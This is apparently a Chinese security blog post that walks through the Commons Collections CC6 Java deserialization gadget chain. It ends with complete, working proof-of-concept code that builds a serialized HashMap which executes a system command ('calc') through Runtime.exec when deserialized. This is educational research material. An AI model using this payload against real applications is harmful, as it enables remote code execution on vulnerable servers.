LOADING

加载过慢请开启缓存 浏览器默认开启

CC6分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

利用链分析

先看下ysoserial的利用链

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

先定位到LazyMap#get,进入判断后会调用factory.transform(key)

image-1708444671397

由于factory参数可控,可以传递为InvokerTransformer来调用InvokerTransformer#transform来进行利用

image-1708444677867

回到LazyMap,找下那里调用了get,看到ysoserial的链是TiedMapEntry.getValue()调用了get,跟进发现里面有一个map.get方法

image-1708444689202

并且map可控,这里map传递LazyMap,会调用到LazyMap#get

image-1708444696514

再找下哪里调用了getValue(),发现同类的hashCode方法调用的

image-1708444702674

继续跟一下哪里调用了hashCode,在HashMap#hash调用了hashCode方法,这里key同样可控,传递参数为TiedMapEntry就可以调用到TiedMapEntry#hashCode

image-1708444715609

然后发现HashMap#readObject调用了hash方法

image-1708444720234

代码调试

根据上述利用链形成代码

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transform = new Transformer[]{
                new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform);

        Map<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry,"b");

        serialize(map1);

    }

发现序列化之前直接弹出了计算器

image-1708444730786

这是因为序列化时候会调用map.LazyMap#get-

并且反序列化时会判断key是否存在,key为空才会走到
factory.transform,这边还需要在序列化时将key清空

image-1708444736175

那我们就先给LazyMap#decorate方法的factory参数传一个没用的Transformer

Map lazyMap = LazyMap.*decorate*(map,new ConstantTransformer(1));

因为factory被protected修饰,序列化前需要通过反射改回来,同时使用lazyMap.remove方法清空key

        Class lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        lazyMap.remove("key");

完整代码

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transform = new Transformer[]{
                new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transform);

        Map<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
        HashMap<Object, Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry,"b");
        //反射调用&删除 factory.transform的key值
        Class lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        lazyMap.remove("key");
        serialize(map1);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }
}

image-1708444745372